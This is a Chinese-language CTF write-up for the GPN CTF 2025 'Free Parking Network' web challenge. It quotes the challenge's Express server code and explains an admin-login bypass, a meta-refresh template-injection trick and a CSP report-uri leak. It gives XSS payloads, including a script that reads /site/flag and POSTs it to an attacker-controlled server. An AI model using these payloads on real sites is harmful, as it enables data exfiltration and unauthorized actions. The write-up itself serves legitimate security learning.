xss利用meta强制跳转 CPS report-uri 报错泄露利用 -- GPN CTF 2025 Free Parking Network 1 2

part 1

在此题目中,我们可以指定html与标头

<sCrIpt>alert(1)</ScRipt>
A5rz: A5rz

服务器会返回如下内容

HTTP/1.1 200 OK
X-Powered-By: Express
A5rz: A5rz
Content-Type: text/html; charset=utf-8
Content-Length: 619
ETag: W/"26b-14GnlO+yaaXJ3CEkd0rBJ/mmY8g"
Date: Mon, 23 Jun 2025 01:56:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="Content-Security-Policy" content="default-src 'none'"><title>User made site hosted on our Free Parking Network</title></head><body><a href="/approve/a0d9faca7b6600e81d51347556a093e5/">Approve this site</a><sCrIpt>alert(1)</ScRipt></body></html>

我们发现返回中存在一个严格的标签使得我们无法执行

<meta http-equiv="Content-Security-Policy" content="default-src 'none'">

继续查看发现此标签来自这段代码

// 提供上传的HTML和自定义头部
sessionRouter.get('/site/:id', async (req, res) => {try {// 根据ID获取网站信息const site = await db.getSiteById(req.params.id);if (!site) return res.status(404).send('Not found');// 设置自定义HTTP头部if (site.headers){site.headers.split("\n").forEach(header => {const [key, ...rest] = header.split(":");const value = rest.join(":");if (key && value) {res.setHeader(key.trim(), value.trim());}});}// 设置内容类型res.setHeader('Content-Type', 'text/html; charset=utf-8');// 检查访问权限if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {return res.status(403).send('This site is not approved yet. Please wait for admin approval.');}// 处理批准令牌approveToken = "";if (req.session.userId === 0) approveToken = site.approveToken;// 处理内容安全策略CSP = "";if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';console.log(`Serving site ${site.id} with owner ${site.owner} and approved status ${site.approved}`);// 渲染HTML模板html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);res.send(html);} catch (e) {console.error(e);res.status(500).send('Internal error');}
});

如果用户拥有damin权限则不会有此限制

// 管理员登录端点
noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;// 验证管理员令牌if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}// 设置管理员会话req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});

flag在flag网站中,但是此网站是未被批准的

// 网站批准端点
sessionRouter.get("/approve/:siteId/:approveToken", async (req, res) => {let siteId = req.params.siteId;let approveToken = req.params.approveToken;// 获取网站信息site = await db.getSiteById(siteId);// 检查批准令牌是否有效if (approveToken !== site.approveToken) {res.send("Invalid approval token");return;}// 批准网站await db.approveSite(siteId);res.send("Site approved");
});

此处还存在类似模板注入的漏洞。

// 渲染HTML模板
html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);

题目中存在一个明显的漏洞,导致任何人都可以是admin

noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});
/admin/login?adminToken=1

part 2

修复了任何人都可以是admin的问题

方案1

Trick: <meta> 可用于强制跳转,结合之前的"模板注入",可以强制让admin审批我们的网站,取消我们网站的xss限制

<meta http-equiv="refresh" content="1; url=/approve/{{site.id}}/{{site.approveToken}}">
/review/:siteId

然后我们可以带出token,让管理员审批/flag

<script>
fetch('/site/flag').then(r => r.text()).then(data =>fetch('xss服务器', {method: 'POST',body: data}))
</script>

方案2

Content-Security-Policy (CSP) 的 report-uri 指令是一个用于收集违反CSP策略报告的机制。它本身不阻止浏览器加载被禁止的资源或执行被禁止的脚本,而是将违规行为详细记录下来,发送到你指定的服务器端点。

Content-Security-Policy: default-src *; style-src 'report-sample'; script-src 'unsafe-inline'; report-uri xss服务器url;

这允许我们构造故意的错误,向外部服务器泄露错误的详细信息

<style>
{{site.approveToken}}
</style>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/86198.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/86198.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1 Web vue环境搭建

1 下载好node.js 用node -v和npm -v看是否环境配置好&#xff0c;看到如下结果就是配置好了 2 安装vue脚手架 输入这个代码 npm i vue/cli -g 查看到如下&#xff0c;说明安装成功 3 下载vue初始模板 输入 vue ui 会打开一个网页 点击创建&#xff0c;然后点击编辑路径&…

太理IM即时通讯软件开发

easyQQ ♻️项目基本介绍 easyQQ是基于electron(vue2)和nodejs实现的简单聊天软件,其中用websocket和http进行通讯传递,数据库使用了mysql数据库,该项目功能简单,界面简洁,每个功能都会添加相应的逻辑 &#x1f9e7; 作者自己的配置环境 数据库 nodejs npm &#x1f9e8; 部…

BERT 模型准备与转换详细操作流程

在尝试复现极客专栏《PyTorch 深度学习实战|24 | 文本分类&#xff1a;如何使用BERT构建文本分类模型&#xff1f;》时候&#xff0c;构建模型这一步骤专栏老师一笔带过&#xff0c;对于新手有些不友好&#xff0c;经过一阵摸索&#xff0c;终于调通了&#xff0c;现在总结一下…

doris 和StarRocks 导入导出数据配置

一、StarRocks 导数据到hdfs EXPORT TABLE database.table TO “hdfs://namenode/tmp/demo/table” WITH BROKER ( “username”“username”, “password”“password” ); 二、StarRocks 导数据到oss EXPORT TABLE database.table TO “oss://broke/aa/” WITH BROKER ( “…

【HTTP】取消已发送的请求

场景 在页面中&#xff0c;可能会因为某些操作多次触发某个请求&#xff0c;如多次点击某按钮触发请求&#xff0c;实际上我们只需要最后一次请求的返回值&#xff0c;但是由于请求的耗时不一&#xff0c;请求未必会按发送的顺序返回&#xff0c;导致我们最终获取到的值 ≠ 最后…

JSON框架转化isSuccess()为sucess字段

在您的描述中&#xff0c;BankInfoVO子类返回的JSON中出现了"success": true字段&#xff0c;但类本身没有定义这个字段。这通常是由以下原因之一造成的&#xff1a; 原因分析及解决方案 序列化框架的Getter自动推导 Java序列化框架&#xff08;如Jackson/Gson&…

Ragflow 源码:task_executor.py

目录 介绍主要功能核心组件 流程图核心代码解释1. 系统架构与核心组件2. 核心处理流程3. 高级处理能力4. 关键创新点5. 容错与监控机制6. 性能优化技巧 介绍 task_executor.py 是RAGFlow系统中的任务执行器(Task Executor)核心部分&#xff0c;主要负责文档的解析、分块(chunk…

创客匠人联盟生态:重构家庭教育知识变现的底层逻辑

在《家庭教育促进法》推动行业刚需化的背景下&#xff0c;单一个体 IP 的增长天花板日益明显。创客匠人提出的 “联盟生态思维”&#xff0c;正推动家庭教育行业从 “单打独斗” 转向 “矩阵作战”&#xff0c;其核心在于通过工具整合资源&#xff0c;将 “同行竞争” 转化为 “…

【Docker基础】Docker容器管理:docker stop详解

目录 1 Docker容器生命周期概述 2 docker stop命令深度解析 2.1 命令基本语法 2.2 命令执行流程 2.3 stop与kill的区别 3 docker stop的工作原理 3.1 工作流程 3.2 详细工作流程 3.3 信号处理机制 4 docker stop的使用场景与最佳实践 4.1 典型使用场景 场景1&#…

rules写成动态

拖拽排序和必填校验联动(rules写到computed里) computed: {rules() {const rules {};this.form.feedList.forEach((item, idx) > {rules[feedList.${idx}] [{ required: true, message: 路线评价动态${idx 1}待填写&#xff0c;请填写完毕提交, trigger: change }];});re…

The Open Group开放流程自动化™ 论坛(OPAF)发布组织最新进展报告

除埃克森美孚&#xff08;ExxonMobil&#xff09;的成就外&#xff0c;开放流程自动化™ 论坛&#xff08;OPAF&#xff09;的最新论坛报告显示&#xff0c;该组织其他成员也在多个领域取得进展。 “我们祝贺埃克森美孚&#xff0c;因为他们证明了在前线、创收的工艺操作中部署…

线程的基本控制

线程终止 exit是危险的 如果进程中的任意一个线程调用了exit&#xff0c;那么整个进程终止。 不终止进程的退出方式 普通单个线程的退出方法&#xff0c;以下方法退出不会导致进程终止&#xff1a; &#xff08;1&#xff09;从启动例程中返回&#xff0c;返回值是线程的退出…

DeepSeek+WinForm串口通讯实战

前言 在现代软件开发中&#xff0c;串口通讯仍然是工业自动化、物联网设备和嵌入式系统的重要通信方式。随着.NET技术的发展&#xff0c;特别是.NET 5/.NET 6的跨平台能力&#xff0c;传统的WinForm应用现在可以通过现代UI框架实现真正的跨平台串口通讯。本文将深入探讨三种主…

针对数据仓库方向的大数据算法工程师面试经验总结

⚙️ 一、技术核心考察点 数据建模能力 星型 vs 雪花模型&#xff1a;面试官常要求对比两种模型。星型模型&#xff08;事实表冗余维度表&#xff09;查询性能高但存储冗余&#xff1b;雪花模型&#xff08;规范化维度表&#xff09;减少冗余但增加JOIN复杂度。需结合场景选择&…

Nuxt3 Cannot read properties of undefined (reading ‘createElement‘)

你遇到的 TypeError: Cannot read properties of undefined (reading createElement) 这个报错&#xff0c;通常是由于在 Nuxt3 或 Vue3 项目中&#xff0c;某些地方尝试访问 document.createElement 或类似 DOM API&#xff0c;但此时 document 还未定义&#xff08;比如在服务…

正则表达式匹配实现

直接上代码 using Microsoft.AspNetCore.Mvc; using System.Text.RegularExpressions;namespace SaaS.OfficialWebSite.Web.Controllers {public class RegController : Controller{public IActionResult Index(){return View();}[HttpPost]public IActionResult TestRegex([F…

API测试工具Parasoft SOAtest:应对API变化,优化测试执行

API频繁变更给测试工作带来诸多挑战&#xff0c;如手动排查变更影响耗时费力、测试用例维护繁琐易出错等。Parasoft SOAtest作为一款企业级API测试工具&#xff0c;通过自动扫描API接口、智能分析变更影响、优化测试&#xff0c;执行以及支持测试用例共享与版本控制等功能&…

mysql 数据库连接 -h localhost 和 -h 127.0.0.1 区别是什么

对于 mysql 数据库&#xff0c; 在 my.conf 中指定的client 端口是 3358&#xff0c;实际的mysql server 的端口监听在 3306&#xff0c; mysql -h localhost 可以居然可以连接成功&#xff1b; mysql -h 127.0.0.1 连接失败提示Can’t connect to MySQL server on 127.0.0.1&a…

Educational Codeforces Round 180 (Rated for Div. 2) A-D

A.Race 题目大意 给你两个x,y&#xff0c;终点会在二点之间随机出现,alice在点a&#xff0c;假设alice和bob有相同的速度&#xff08;距离更短者用时更少&#xff09;&#xff0c;问对于bob是否存在一点&#xff0c;无论终点是x还是y,他都能比alice更快到达 思路 如果alice在…

python requests post请求

在Python中&#xff0c;使用requests库进行POST请求是一种常见的操作&#xff0c;用于向服务器发送数据。下面是如何使用requests库进行POST请求的步骤&#xff1a; 安装requests库 如果你还没有安装requests库&#xff0c;可以通过pip安装&#xff1a; pip install requests…